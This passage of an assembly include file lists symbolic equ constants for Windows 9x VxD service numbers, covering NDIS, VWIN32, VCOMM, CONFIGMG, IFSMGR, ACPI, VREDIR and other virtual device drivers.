NDIS_CompleteDmaTransfer        equ     00028004Ch
NDIS_ReadDmaCounter             equ     00028004Dh
NDIS_FreeDmaChannel             equ     00028004Eh
NDIS_ReleaseAdapterResources    equ     00028004Fh
NDIS_QueryGlobalStatistics      equ     000280050h
NDIS_OpenProtocolConfiguration  equ     000280051h
NDIS_CompleteBindAdapter        equ     000280052h
NDIS_CompleteUnbindAdapter      equ     000280053h
NDIS_WrapperStartNet            equ     000280054h
NDIS_WrapperGetComponentList    equ     000280055h
NDIS_WrapperQueryAdapterResources equ   000280056h
NDIS_WrapperDelayBinding        equ     000280057h
NDIS_WrapperResumeBinding       equ     000280058h
NDIS_WrapperRemoveChildren      equ     000280059h
NDIS_ImmediateReadPciSlotInformation equ        00028005Ah
NDIS_ImmediateWritePciSlotInformation equ       00028005Bh
NDIS_ReadPciSlotInformation     equ     00028005Ch
NDIS_WritePciSlotInformation    equ     00028005Dh
NDIS_PciAssignResources         equ     00028005Eh
NDIS_QueryBufferOffset          equ     00028005Fh
NDIS_0060                       equ     000280060h
NDIS_0061                       equ     000280061h
NDIS_InitializeEvent            equ     000280062h
NDIS_SetEvent                   equ     000280063h
NDIS_ResetEvent                 equ     000280064h
NDIS_WaitEvent                  equ     000280065h
NDIS_ReturnPackets              equ     000280066h
NDIS_QueryReceiveInformation    equ     000280067h
NDIS_CmRegisterAddressFamily    equ     000280068h
NDIS_ClOpenAddressFamily        equ     000280069h
NDIS_CmOpenAddressFamilyComplete equ    00028006Ah
NDIS_ClCloseAddressFamily       equ     00028006Bh
NDIS_CmCloseAddressFamilyComplete equ   00028006Ch
NDIS_ClRegisterSap              equ     00028006Dh
NDIS_CmRegisterSapComplete      equ     00028006Eh
NDIS_ClDeregisterSap            equ     00028006Fh
NDIS_CmDeregisterSapComplete    equ     000280070h
NDIS_ClMakeCall                 equ     000280071h
NDIS_CmMakeCallComplete         equ     000280072h
NDIS_CmDispatchIncomingCall     equ     000280073h
NDIS_ClIncomingCallComplete     equ     000280074h
NDIS_CmDispatchCallConnected    equ     000280075h
NDIS_ClModifyCallQoS            equ     000280076h
NDIS_CmModifyCallQoSComplete    equ     000280077h
NDIS_CmDispatchIncomingCallQoSChange equ        000280078h
NDIS_ClCloseCall                equ     000280079h
NDIS_CmCloseCallComplete        equ     00028007Ah
NDIS_CmDispatchIncomingCloseCall equ    00028007Bh
NDIS_ClAddParty                 equ     00028007Ch
NDIS_CmAddPartyComplete         equ     00028007Dh
NDIS_ClDropParty                equ     00028007Eh
NDIS_CmDropPartyComplete        equ     00028007Fh
NDIS_CmDispatchIncomingDropParty equ    000280080h
NDIS_CoCreateVc                 equ     000280081h
NDIS_CoDeleteVc                 equ     000280082h
NDIS_CmActivateVc               equ     000280083h
NDIS_CmDeactivateVc             equ     000280084h
NDIS_CoRequest                  equ     000280085h
NDIS_CoRequestComplete          equ     000280086h
NDIS_CoSendPackets              equ     000280087h
NDIS_InitAnsiString             equ     000280088h
NDIS_InitUnicodeString          equ     000280089h
NDIS_AnsiStringToUnicodeString  equ     00028008Ah
NDIS_UnicodeStringToAnsiString  equ     00028008Bh
NDIS_WriteConfiguration         equ     00028008Ch
NDIS_OpenConfigurationKeyByName equ     00028008Dh
NDIS_OpenConfigurationKeyByIndex equ    00028008Eh
NDIS_ConvertStringToAtmAddress  equ     00028008Fh
NDIS_AllocateMemoryWithTag      equ     000280090h
NDIS_OpenGlobalConfiguration    equ     000280091h
NDIS_InterlockedIncrement       equ     000280092h
NDIS_InterlockedDecrement       equ     000280093h
NDIS_InterlockedAddUlong        equ     000280094h
NDIS_InterlockedInsertHeadList  equ     000280095h
NDIS_InterlockedInsertTailList  equ     000280096h
NDIS_InterlockedRemoveHeadList  equ     000280097h
NDIS_InterlockedPopEntryList    equ     000280098h
NDIS_InterlockedPushEntryList   equ     000280099h
NDIS_WriteEventLogEntry         equ     00028009Ah
NDIS_GetFirstBufferFromPacket   equ     00028009Bh
NDIS_SendPackets                equ     00028009Ch
NDIS_009D                       equ     00028009Dh
NDIS_GetSystemUpTime            equ     00028009Eh
NDIS_ScheduleWorkItem           equ     00028009Fh
NDIS_QueryAdapterInstanceName   equ     0002800A0h

;    [002A.VWIN32]
VWIN32_Get_Version              equ     0002A0000h
VWIN32_DIOCCompletionRoutine    equ     0002A0001h
VWIN32_QueueUserApc             equ     0002A0002h
VWIN32_GetThreadContext         equ     0002A0003h
VWIN32_SetThreadContext         equ     0002A0004h
VWIN32_CopyMem                  equ     0002A0005h
VWIN32_NpxException             equ     0002A0006h
VWIN32_EmulateNpx               equ     0002A0007h
VWIN32_CheckDelayedNpxTrap      equ     0002A0008h
VWIN32_EnterCrstR0              equ     0002A0009h
VWIN32_LeaveCrstR0              equ     0002A000Ah
VWIN32_FaultPopup               equ     0002A000Bh
VWIN32_GetContextHandle         equ     0002A000Ch
VWIN32_GetCurrentProcessHandle  equ     0002A000Dh
VWIN32_SetWin32Event            equ     0002A000Eh
VWIN32_PulseWin32Event          equ     0002A000Fh
VWIN32_ResetWin32Event          equ     0002A0010h
VWIN32_WaitSingleObject         equ     0002A0011h
VWIN32_WaitMultipleObjects      equ     0002A0012h
VWIN32_CreateRing0Thread        equ     0002A0013h
VWIN32_CloseVxDHandle           equ     0002A0014h
VWIN32_ActiveTimeBiasSet        equ     0002A0015h
VWIN32_GetCurrentDirectory      equ     0002A0016h
VWIN32_BlueScreenPopup          equ     0002A0017h
VWIN32_TerminateApp             equ     0002A0018h
VWIN32_QueueKernelAPC           equ     0002A0019h
VWIN32_SysErrorBox              equ     0002A001Ah
VWIN32_IsClientWin32            equ     0002A001Bh
VWIN32_IFSRIPWhenLev2Taken      equ     0002A001Ch
VWIN32_InitWin32Event           equ     0002A001Dh
VWIN32_InitWin32Mutex           equ     0002A001Eh
VWIN32_ReleaseWin32Mutex        equ     0002A001Fh
VWIN32_BlockThreadEx            equ     0002A0020h
VWIN32_GetProcessHandle         equ     0002A0021h
VWIN32_InitWin32Semaphore       equ     0002A0022h
VWIN32_SignalWin32Sem           equ     0002A0023h
VWIN32_QueueUserApcEx           equ     0002A0024h
VWIN32_OpenVxDHandle            equ     0002A0025h
VWIN32_CloseWin32Handle         equ     0002A0026h
VWIN32_AllocExternalHandle      equ     0002A0027h
VWIN32_UseExternalHandle        equ     0002A0028h
VWIN32_UnuseExternalHandle      equ     0002A0029h
VWIN32_KeInitializeTimer        equ     0002A002Ah
VWIN32_KeSetTimer               equ     0002A002Bh
VWIN32_KeCancelTimer            equ     0002A002Ch
VWIN32_KeReadStateTimer         equ     0002A002Dh
VWIN32_ReferenceObject          equ     0002A002Eh
VWIN32_GetExternalHandle        equ     0002A002Fh
VWIN32_ConvertNtTimeout         equ     0002A0030h
VWIN32_SetWin32EventBoostPriority equ   0002A0031h
VWIN32_GetRing3Flat32Selectors  equ     0002A0032h
VWIN32_GetCurThreadCondition    equ     0002A0033h

;    [002B.VCOMM]
VCOMM_Get_Version               equ     0002B0000h
VCOMM_Register_Port_Driver      equ     0002B0001h
VCOMM_Acquire_Port              equ     0002B0002h
VCOMM_Release_Port              equ     0002B0003h
VCOMM_OpenComm                  equ     0002B0004h
VCOMM_SetCommState              equ     0002B0005h
VCOMM_GetCommState              equ     0002B0006h
VCOMM_SetupComm                 equ     0002B0007h
VCOMM_TransmitCommChar          equ     0002B0008h
VCOMM_CloseComm                 equ     0002B0009h
VCOMM_GetCommQueueStatus        equ     0002B000Ah
VCOMM_ClearCommError            equ     0002B000Bh
VCOMM_GetModemStatus            equ     0002B000Ch
VCOMM_GetCommProperties         equ     0002B000Dh
VCOMM_EscapeCommFunction        equ     0002B000Eh
VCOMM_PurgeComm                 equ     0002B000Fh
VCOMM_SetCommEventMask          equ     0002B0010h
VCOMM_GetCommEventMask          equ     0002B0011h
VCOMM_WriteComm                 equ     0002B0012h
VCOMM_ReadComm                  equ     0002B0013h
VCOMM_EnableCommNotification    equ     0002B0014h
VCOMM_GetLastError              equ     0002B0015h
VCOMM_Steal_Port                equ     0002B0016h
VCOMM_SetReadCallBack           equ     0002B0017h
VCOMM_SetWriteCallBack          equ     0002B0018h
VCOMM_Add_Port                  equ     0002B0019h
VCOMM_GetSetCommTimeouts        equ     0002B001Ah
VCOMM_SetWriteRequest           equ     0002B001Bh
VCOMM_SetReadRequest            equ     0002B001Ch
VCOMM_Dequeue_Request           equ     0002B001Dh
VCOMM_Enumerate_DevNodes        equ     0002B001Eh
VCOMM_Map_Win32DCB_To_Ring0     equ     0002B001Fh
VCOMM_Map_Ring0DCB_To_Win32     equ     0002B0020h
VCOMM_Get_Contention_Handler    equ     0002B0021h
VCOMM_Map_Name_To_Resource      equ     0002B0022h

;    [002C.SPOOLER]

;    [0031.NETBEUI]

;    [0032.VSERVER]

;    [0033.CONFIGMG]
CONFIGMG_Get_Version            equ     000330000h
CONFIGMG_Initialize             equ     000330001h
CONFIGMG_Locate_DevNode         equ     000330002h
CONFIGMG_Get_Parent             equ     000330003h
CONFIGMG_Get_Child              equ     000330004h
CONFIGMG_Get_Sibling            equ     000330005h
CONFIGMG_Get_Device_ID_Size     equ     000330006h
CONFIGMG_Get_Device_ID          equ     000330007h
CONFIGMG_Get_Depth              equ     000330008h
CONFIGMG_Get_Private_DWord      equ     000330009h
CONFIGMG_Set_Private_DWord      equ     00033000Ah
CONFIGMG_Create_DevNode         equ     00033000Bh
CONFIGMG_Query_Remove_SubTree   equ     00033000Ch
CONFIGMG_Remove_SubTree         equ     00033000Dh
CONFIGMG_Register_Device_Driver equ     00033000Eh
CONFIGMG_Register_Enumerator    equ     00033000Fh
CONFIGMG_Register_Arbitrator    equ     000330010h
CONFIGMG_Deregister_Arbitrator  equ     000330011h
CONFIGMG_Query_Arbitrator_Free_Size equ 000330012h
CONFIGMG_Query_Arbitrator_Free_Data equ 000330013h
CONFIGMG_Sort_NodeList          equ     000330014h
CONFIGMG_Yield                  equ     000330015h
CONFIGMG_Lock                   equ     000330016h
CONFIGMG_Unlock                 equ     000330017h
CONFIGMG_Add_Empty_Log_Conf     equ     000330018h
CONFIGMG_Free_Log_Conf          equ     000330019h
CONFIGMG_Get_First_Log_Conf     equ     00033001Ah
CONFIGMG_Get_Next_Log_Conf      equ     00033001Bh
CONFIGMG_Add_Res_Des            equ     00033001Ch
CONFIGMG_Modify_Res_Des         equ     00033001Dh
CONFIGMG_Free_Res_Des           equ     00033001Eh
CONFIGMG_Get_Next_Res_Des       equ     00033001Fh
CONFIGMG_Get_Performance_Info   equ     000330020h
CONFIGMG_Get_Res_Des_Data_Size  equ     000330021h
CONFIGMG_Get_Res_Des_Data       equ     000330022h
CONFIGMG_Process_Events_Now     equ     000330023h
CONFIGMG_Create_Range_List      equ     000330024h
CONFIGMG_Add_Range              equ     000330025h
CONFIGMG_Delete_Range           equ     000330026h
CONFIGMG_Test_Range_Available   equ     000330027h
CONFIGMG_Dup_Range_List         equ     000330028h
CONFIGMG_Free_Range_List        equ     000330029h
CONFIGMG_Invert_Range_List      equ     00033002Ah
CONFIGMG_Intersect_Range_List   equ     00033002Bh
CONFIGMG_First_Range            equ     00033002Ch
CONFIGMG_Next_Range             equ     00033002Dh
CONFIGMG_Dump_Range_List        equ     00033002Eh
CONFIGMG_Load_DLVxDs            equ     00033002Fh
CONFIGMG_Get_DDBs               equ     000330030h
CONFIGMG_Get_CRC_CheckSum       equ     000330031h
CONFIGMG_Register_DevLoader     equ     000330032h
CONFIGMG_Reenumerate_DevNode    equ     000330033h
CONFIGMG_Setup_DevNode          equ     000330034h
CONFIGMG_Reset_Children_Marks   equ     000330035h
CONFIGMG_Get_DevNode_Status     equ     000330036h
CONFIGMG_Remove_Unmarked_Children equ   000330037h
CONFIGMG_ISAPNP_To_CM           equ     000330038h
CONFIGMG_CallBack_Device_Driver equ     000330039h
CONFIGMG_CallBack_Enumerator    equ     00033003Ah
CONFIGMG_Get_Alloc_Config       equ     00033003Bh
CONFIGMG_Get_DevNode_Key_Size   equ     00033003Ch
CONFIGMG_Get_DevNode_Key        equ     00033003Dh
CONFIGMG_Read_Registry_Value    equ     00033003Eh
CONFIGMG_Write_Registry_Value   equ     00033003Fh
CONFIGMG_Disable_DevNode        equ     000330040h
CONFIGMG_Enable_DevNode         equ     000330041h
CONFIGMG_Move_DevNode           equ     000330042h
CONFIGMG_Set_Bus_Info           equ     000330043h
CONFIGMG_Get_Bus_Info           equ     000330044h
CONFIGMG_Set_HW_Prof            equ     000330045h
CONFIGMG_Recompute_HW_Prof      equ     000330046h
CONFIGMG_Query_Change_HW_Prof   equ     000330047h
CONFIGMG_Get_Device_Driver_Private_DWord equ    000330048h
CONFIGMG_Set_Device_Driver_Private_DWord equ    000330049h
CONFIGMG_Get_HW_Prof_Flags      equ     00033004Ah
CONFIGMG_Set_HW_Prof_Flags      equ     00033004Bh
CONFIGMG_Read_Registry_Log_Confs equ    00033004Ch
CONFIGMG_Run_Detection          equ     00033004Dh
CONFIGMG_Call_At_Appy_Time      equ     00033004Eh
CONFIGMG_Fail_Change_HW_Prof    equ     00033004Fh
CONFIGMG_Set_Private_Problem    equ     000330050h
CONFIGMG_Debug_DevNode          equ     000330051h
CONFIGMG_Get_Hardware_Profile_Info equ  000330052h
CONFIGMG_Register_Enumerator_Function equ       000330053h
CONFIGMG_Call_Enumerator_Function equ   000330054h
CONFIGMG_Add_ID                 equ     000330055h
CONFIGMG_Find_Range             equ     000330056h
CONFIGMG_Get_Global_State       equ     000330057h
CONFIGMG_Broadcast_Device_Change_Message equ    000330058h
CONFIGMG_Call_DevNode_Handler   equ     000330059h
CONFIGMG_Remove_Reinsert_All    equ     00033005Ah
CONFIGMG_Change_DevNode_Status  equ     00033005Bh
CONFIGMG_Reprocess_DevNode      equ     00033005Ch
CONFIGMG_Assert_Structure       equ     00033005Dh
CONFIGMG_Discard_Boot_Log_Conf  equ     00033005Eh
CONFIGMG_Set_Dependent_DevNode  equ     00033005Fh
CONFIGMG_Get_Dependent_DevNode  equ     000330060h
CONFIGMG_Refilter_DevNode       equ     000330061h
CONFIGMG_Merge_Range_List       equ     000330062h
CONFIGMG_Substract_Range_List   equ     000330063h
CONFIGMG_Set_DevNode_PowerState equ     000330064h
CONFIGMG_Get_DevNode_PowerState equ     000330065h
CONFIGMG_Set_DevNode_PowerCapabilities equ      000330066h
CONFIGMG_Get_DevNode_PowerCapabilities equ      000330067h
CONFIGMG_Read_Range_List        equ     000330068h
CONFIGMG_Write_Range_List       equ     000330069h
CONFIGMG_Get_Log_Conf_Priority  equ     00033006Ah
CONFIGMG_Support_Share_Irq      equ     00033006Bh
CONFIGMG_Get_Parent_Structure   equ     00033006Ch
CONFIGMG_Register_DevNode_For_Idle_Detection equ        00033006Dh
CONFIGMG_CM_To_ISAPNP           equ     00033006Eh
CONFIGMG_Get_DevNode_Handler    equ     00033006Fh
CONFIGMG_Detect_Resource_Conflict equ   000330070h
CONFIGMG_Get_Device_Interface_List equ  000330071h
CONFIGMG_Get_Device_Interface_List_Size equ     000330072h
CONFIGMG_Get_Conflict_Info      equ     000330073h
CONFIGMG_Add_Remove_DevNode_Property equ        000330074h
CONFIGMG_CallBack_At_Appy_Time  equ     000330075h
CONFIGMG_Register_Device_Interface equ  000330076h
CONFIGMG_System_Device_Power_State_Mapping equ  000330077h
CONFIGMG_Get_Arbitrator_Info    equ     000330078h
CONFIGMG_Waking_Up_From_DevNode equ     000330079h
CONFIGMG_Set_DevNode_Problem    equ     00033007Ah
CONFIGMG_Get_Device_Interface_Alias equ 00033007Bh

;    [0034.CM]
CM_GetVersion                   equ     000340000h
CM_GetConfig                    equ     000340001h
CM_LockConfig                   equ     000340002h
CM_UnlockConfig                 equ     000340003h
CM_CME_QueryResources           equ     000340004h
CM_CME_AllocResources           equ     000340005h
CM_CME_DeallocResources         equ     000340006h

;    [0036.VFBACKUP]
VFBACKUP_Get_Version            equ     000360000h
VFBACKUP_Lock_NEC               equ     000360001h
VFBACKUP_UnLock_NEC             equ     000360002h
VFBACKUP_Register_NEC           equ     000360003h
VFBACKUP_Register_VFD           equ     000360004h
VFBACKUP_Lock_All_Ports         equ     000360005h

;    [0037.VMINI]
VMINI_GetVersion                equ     000370000h
VMINI_Update                    equ     000370001h
VMINI_Status                    equ     000370002h
VMINI_DisplayError              equ     000370003h
VMINI_SetTimeStamp              equ     000370004h
VMINI_Siren                     equ     000370005h
VMINI_RegisterAccess            equ     000370006h
VMINI_GetData                   equ     000370007h
VMINI_ShutDownItem              equ     000370008h
VMINI_RegisterSK                equ     000370009h

;    [0038.VCOND]
VCOND_Get_Version               equ     000380000h
VCOND_Launch_ConApp_Inherited   equ     000380001h

;    [003D.BIOS]

;    [003E.WSOCK]
WSOCK_Get_Version               equ     0003E0000h
WSOCK_Register                  equ     0003E0001h
WSOCK_Deregister                equ     0003E0002h
WSOCK_SignalNotify              equ     0003E0003h
WSOCK_SignalAllNotify           equ     0003E0004h

;    [0040.IFSMGR]
IFSMGR_Get_Version              equ     000400000h
IFSMGR_RegisterMount            equ     000400001h
IFSMGR_RegisterNet              equ     000400002h
IFSMGR_RegisterMailSlot         equ     000400003h
IFSMGR_Attach                   equ     000400004h
IFSMGR_Detach                   equ     000400005h
IFSMGR_Get_NetTime              equ     000400006h
IFSMGR_Get_DOSTime              equ     000400007h
IFSMGR_SetupConnection          equ     000400008h
IFSMGR_DerefConnection          equ     000400009h
IFSMGR_ServerDOSCall            equ     00040000Ah
IFSMGR_CompleteAsync            equ     00040000Bh
IFSMGR_RegisterHeap             equ     00040000Ch
IFSMGR_GetHeap                  equ     00040000Dh
IFSMGR_RetHeap                  equ     00040000Eh
IFSMGR_CheckHeap                equ     00040000Fh
IFSMGR_CheckHeapItem            equ     000400010h
IFSMGR_FillHeapSpare            equ     000400011h
IFSMGR_Block                    equ     000400012h
IFSMGR_Wakeup                   equ     000400013h
IFSMGR_Yield                    equ     000400014h
IFSMGR_SchedEvent               equ     000400015h
IFSMGR_QueueEvent               equ     000400016h
IFSMGR_KillEvent                equ     000400017h
IFSMGR_FreeIOReq                equ     000400018h
IFSMGR_MakeMailSlot             equ     000400019h
IFSMGR_DeleteMailSlot           equ     00040001Ah
IFSMGR_WriteMailSlot            equ     00040001Bh
IFSMGR_PopUp                    equ     00040001Ch
IFSMGR_printf                   equ     00040001Dh
IFSMGR_AssertFailed             equ     00040001Eh
IFSMGR_LogEntry                 equ     00040001Fh
IFSMGR_DebugMenu                equ     000400020h
IFSMGR_DebugVars                equ     000400021h
IFSMGR_GetDebugString           equ     000400022h
IFSMGR_GetDebugHexNum           equ     000400023h
IFSMGR_NetFunction              equ     000400024h
IFSMGR_DoDelAllUses             equ     000400025h
IFSMGR_SetErrString             equ     000400026h
IFSMGR_GetErrString             equ     000400027h
IFSMGR_SetReqHook               equ     000400028h
IFSMGR_SetPathHook              equ     000400029h
IFSMGR_UseAdd                   equ     00040002Ah
IFSMGR_UseDel                   equ     00040002Bh
IFSMGR_InitUseAdd               equ     00040002Ch
IFSMGR_ChangeDir                equ     00040002Dh
IFSMGR_DelAllUses               equ     00040002Eh
IFSMGR_CDROM_Attach             equ     00040002Fh
IFSMGR_CDROM_Detach             equ     000400030h
IFSMGR_Win32DupHandle           equ     000400031h
IFSMGR_Ring0_FileIO             equ     000400032h
IFSMGR_Toggle_Extended_File_Handles equ 000400033h
IFSMGR_Get_Drive_Info           equ     000400034h
IFSMGR_Ring0GetDriveInfo        equ     000400035h
IFSMGR_BlockNoEvents            equ     000400036h
IFSMGR_NetToDosTime             equ     000400037h
IFSMGR_DosToNetTime             equ     000400038h
IFSMGR_DosToWin32Time           equ     000400039h
IFSMGR_Win32ToDosTime           equ     00040003Ah
IFSMGR_NetToWin32Time           equ     00040003Bh
IFSMGR_Win32ToNetTime           equ     00040003Ch
IFSMGR_MetaMatch                equ     00040003Dh
IFSMGR_TransMatch               equ     00040003Eh
IFSMGR_CallProvider             equ     00040003Fh
IFSMGR_UniToBCS                 equ     000400040h
IFSMGR_UniToBCSPath             equ     000400041h
IFSMGR_BCSToUni                 equ     000400042h
IFSMGR_UniToUpper               equ     000400043h
IFSMGR_UniCharToOEM             equ     000400044h
IFSMGR_CreateBasis              equ     000400045h
IFSMGR_MatchBasisName           equ     000400046h
IFSMGR_AppendBasisTail          equ     000400047h
IFSMGR_FcbToShort               equ     000400048h
IFSMGR_ShortToFcb               equ     000400049h
IFSMGR_ParsePath                equ     00040004Ah
IFSMGR_Query_PhysLock           equ     00040004Bh
IFSMGR_VolFlush                 equ     00040004Ch
IFSMGR_NotifyVolumeArrival      equ     00040004Dh
IFSMGR_NotifyVolumeRemoval      equ     00040004Eh
IFSMGR_QueryVolumeRemoval       equ     00040004Fh
IFSMGR_FSDUnmountCFSD           equ     000400050h
IFSMGR_GetConversionTablePtrs   equ     000400051h
IFSMGR_CheckAccessConflict      equ     000400052h
IFSMGR_LockFile                 equ     000400053h
IFSMGR_UnlockFile               equ     000400054h
IFSMGR_RemoveLocks              equ     000400055h
IFSMGR_CheckLocks               equ     000400056h
IFSMGR_CountLocks               equ     000400057h
IFSMGR_ReassignLockFileInst     equ     000400058h
IFSMGR_UnassignLockList         equ     000400059h
IFSMGR_MountChildVolume         equ     00040005Ah
IFSMGR_UnmountChildVolume       equ     00040005Bh
IFSMGR_SwapDrives               equ     00040005Ch
IFSMGR_FSDMapFHtoIOREQ          equ     00040005Dh
IFSMGR_FSDParsePath             equ     00040005Eh
IFSMGR_FSDAttachSFT             equ     00040005Fh
IFSMGR_GetTimeZoneBias          equ     000400060h
IFSMGR_PNPEvent                 equ     000400061h
IFSMGR_RegisterCFSD             equ     000400062h
IFSMGR_Win32MapExtendedHandleToSFT equ  000400063h
IFSMGR_DbgSetFileHandleLimit    equ     000400064h
IFSMGR_Win32MapSFTToExtendedHandle equ  000400065h
IFSMGR_FSDGetCurrentDrive       equ     000400066h
IFSMGR_InstallFileSystemApiHook equ     000400067h
IFSMGR_RemoveFileSystemApiHook  equ     000400068h
IFSMGR_RunScheduledEvents       equ     000400069h
IFSMGR_CheckDelResource         equ     00040006Ah
IFSMGR_Win32GetVMCurdir         equ     00040006Bh
IFSMGR_SetupFailedConnection    equ     00040006Ch
IFSMGR_GetMappedErr             equ     00040006Dh
IFSMGR_ShortToLossyFcb          equ     00040006Eh
IFSMGR_GetLockState             equ     00040006Fh
IFSMGR_BcsToBcs                 equ     000400070h
IFSMGR_SetLoopback              equ     000400071h
IFSMGR_ClearLoopback            equ     000400072h
IFSMGR_ParseOneElement          equ     000400073h
IFSMGR_BcsToBcsUpper            equ     000400074h

;    [0041.VCDFSD]

;    [0043.PCI]
PCI_Get_Version                 equ     000430000h
PCI_Read_Config                 equ     000430001h
PCI_Write_Config                equ     000430002h

;    [0048.PERF]
PERF_Get_Version                equ     000480000h
PERF_Server_Register            equ     000480001h
PERF_Server_Deregister          equ     000480002h
PERF_Server_Add_Stat            equ     000480003h
PERF_Server_Remove_Stat         equ     000480004h

;    [004A.MTRR]
MTRR_Get_Version                equ     0004A0000h
MTRR_SetPhysicalCacheTypeRange  equ     0004A0001h
MTRR_IsPatSupported             equ     0004A0002h

;    [004B.NTKERN]
NTKERN_Get_Version              equ     0004B0000h
NTKERN_CreateFile               equ     0004B0001h
NTKERN_Close                    equ     0004B0002h
NTKERN_ReadFile                 equ     0004B0003h
NTKERN_WriteFile                equ     0004B0004h
NTKERN_DeviceIoControl          equ     0004B0005h
NTKERN_GetWorkerThread          equ     0004B0006h
NTKERN_LoadDriver               equ     0004B0007h
NTKERN_QueueWorkItem            equ     0004B0008h
NTKERN_PhysicalDeviceObjectToDevNode equ        0004B0009h
NTKERN_SetPhysicalCacheTypeRange equ    0004B000Ah
NTKERN_Win9XLoadDriver          equ     0004B000Bh
NTKERN_CancelIoFile             equ     0004B000Ch
NTKERN_GetVPICDHandleFromInterruptObj equ       0004B000Dh

;    [004C.ACPI]
ACPI_Get_Version                equ     0004C0000h
ACPI_SetSystemPowerState        equ     0004C0001h
ACPI_SetTimingMode              equ     0004C0002h
ACPI_RegisterOpRegionCookedHandler equ  0004C0003h
ACPI_Set_RTC                    equ     0004C0004h
ACPI_GetTimingMode              equ     0004C0005h
ACPI_GetTaskFile                equ     0004C0006h
ACPI_WalkNameSpace              equ     0004C0007h
ACPI_GetObject                  equ     0004C0008h
ACPI_NameSpaceToDevNode         equ     0004C0009h
ACPI_DevNodeToNameSpace         equ     0004C000Ah
ACPI_RunControlMethod           equ     0004C000Bh
ACPI_000C                       equ     0004C000Ch
ACPI_000D                       equ     0004C000Dh
ACPI_000E                       equ     0004C000Eh
ACPI_EvalPackageElement         equ     0004C000Fh
ACPI_EvalPkgDataElement         equ     0004C0010h
ACPI_FreeDataBuffs              equ     0004C0011h
ACPI_0012                       equ     0004C0012h
ACPI_0013                       equ     0004C0013h
ACPI_GetNameSpaceObject         equ     0004C0014h

;    [004E.SMCLIB]
SMCLIB_Get_Version              equ     0004E0000h
SMCLIB_SmartcardCreateLink      equ     0004E0001h
SMCLIB_SmartcardDeleteLink      equ     0004E0002h
SMCLIB_SmartcardDeviceControl   equ     0004E0003h
SMCLIB_SmartcardExit            equ     0004E0004h
SMCLIB_SmartcardInitialize      equ     0004E0005h
SMCLIB_SmartcardLogError        equ     0004E0006h
SMCLIB_SmartcardRawReply        equ     0004E0007h
SMCLIB_SmartcardRawRequest      equ     0004E0008h
SMCLIB_SmartcardT0Reply         equ     0004E0009h
SMCLIB_SmartcardT0Request       equ     0004E000Ah
SMCLIB_SmartcardT1Reply         equ     0004E000Bh
SMCLIB_SmartcardT1Request       equ     0004E000Ch
SMCLIB_SmartcardUpdateCardCapabilities equ      0004E000Dh
SMCLIB_SmartcardGetDebugLevel   equ     0004E000Eh
SMCLIB_SmartcardSetDebugLevel   equ     0004E000Fh
SMCLIB_MapNtStatusToWinError    equ     0004E0010h
SMCLIB_Assert                   equ     0004E0011h
SMCLIB_VxD_CreateDevice         equ     0004E0012h
SMCLIB_VxD_DeleteDevice         equ     0004E0013h
SMCLIB_SmartcardCompleteCardTracking equ        0004E0014h
SMCLIB_SmartcardCompleteRequest equ     0004E0015h

;    [011F.VFLATD]
VFLATD_Get_Version              equ     0011F0000h
VFLATD_Unmap_Flat_Selector      equ     0011F0001h

;    [0449.VJOYD]
VJOYD_Register_Device_Driver    equ     004490000h
VJOYD_GetPosEx_Service          equ     004490001h
VJOYD_GetInitParams_Service     equ     004490002h
VJOYD_Poll_Service              equ     004490003h
VJOYD_Escape_Service            equ     004490004h
VJOYD_CtrlMsg_Service           equ     004490005h
VJOYD_SetGain_Service           equ     004490006h
VJOYD_SendFFCommand_Service     equ     004490007h
VJOYD_GetFFState_Service        equ     004490008h
VJOYD_DownloadEffect_Service    equ     004490009h
VJOYD_DestroyEffect_Service     equ     00449000Ah
VJOYD_StartEffect_Service       equ     00449000Bh
VJOYD_StopEffect_Service        equ     00449000Ch
VJOYD_GetEffectStatus_Service   equ     00449000Dh
VJOYD_DeviceUpdateNotify_Service equ    00449000Eh
VJOYD_JoystickActivity_Service  equ     00449000Fh
VJOYD_OpenTypeKey_Service       equ     004490010h
VJOYD_OpenConfigKey_Service     equ     004490011h
VJOYD_NewGameportDevNode        equ     004490012h

;    [044A.MMDEVLDR]
MMDEVLDR_Register_Device_Driver equ     0044A0000h
MMDEVLDR_SetDevicePresence      equ     0044A0001h
MMDEVLDR_SetEnvironmentString   equ     0044A0002h
MMDEVLDR_GetEnvironmentString   equ     0044A0003h
MMDEVLDR_RemoveEnvironmentString equ    0044A0004h
MMDEVLDR_AddEnvironmentString   equ     0044A0005h

;    [0480.VNETSUP]
VNETSUP_Get_Version             equ     004800000h
VNETSUP_GetVars                 equ     004800001h
VNETSUP_RegisterTerm            equ     004800002h
VNETSUP_SetInfo                 equ     004800003h
VNETSUP_ServerHook              equ     004800004h
VNETSUP_PassEncrypt             equ     004800005h
VNETSUP_PassEncryptNT           equ     004800006h
VNETSUP_PassEncrypt2            equ     004800007h

;    [0481.VREDIR]
VREDIR_Get_Version              equ     004810000h
VREDIR_BcnSetWfWVersion         equ     004810001h
VREDIR_BcnSetWfWBits            equ     004810002h
VREDIR_BcnIncWfWCount           equ     004810003h
VREDIR_BcnTriggerPulse          equ     004810004h
VREDIR_BcnWfWBrowser            equ     004810005h
VREDIR_BcnSetMaster             equ     004810006h
VREDIR_SendMessage              equ     004810007h
VREDIR_SetRemoteDebug           equ     004810008h
VREDIR_ValidateUser             equ     004810009h
VREDIR_ConnectServer            equ     00481000Ah
VREDIR_DisconnectServer         equ     00481000Bh
VREDIR_RemoteMailSlotWrite      equ     00481000Ch
VREDIR_NetInfo                  equ     00481000Dh
VREDIR_BcnSetHook               equ     00481000Eh
VREDIR_UserGetGroups            equ     00481000Fh
VREDIR_SetIPXError              equ     004810010h
VREDIR_NetGetDfsReferrals       equ     004810011h
VREDIR_AddPathElement           equ     004810012h
VREDIR_MakeResourceDfs          equ     004810013h

;    [0483.VSHARE]
VSHARE_Get_Version              equ     004830000h

;    [0486.VFAT]

;    [0487.NWLINK]

;    [0488.VTDI]
VTDI_Get_Version                equ     004880000h
VTDI_Start_Timer                equ     004880001h
VTDI_Stop_Timer                 equ     004880002h
VTDI_Schedule_Event             equ     004880003h
VTDI_Cancel_Event               equ     004880004h
VTDI_Block                      equ     004880005h
VTDI_Signal                     equ     004880006h
VTDI_Register                   equ     004880007h
VTDI_Get_Info                   equ     004880008h
VTDI_Unload                     equ     004880009h
VTDI_Initialize                 equ     00488000Ah
VTDI_Register_UnloadProc        equ     00488000Bh
VTDI_Register_LoadProc          equ     00488000Ch

;    [0489.VIP]
VIP_VIP_Get_Version             equ     004890000h
VIP_VIP_Get_Net_Info            equ     004890001h
VIP_VIP_Register_Protocol       equ     004890002h
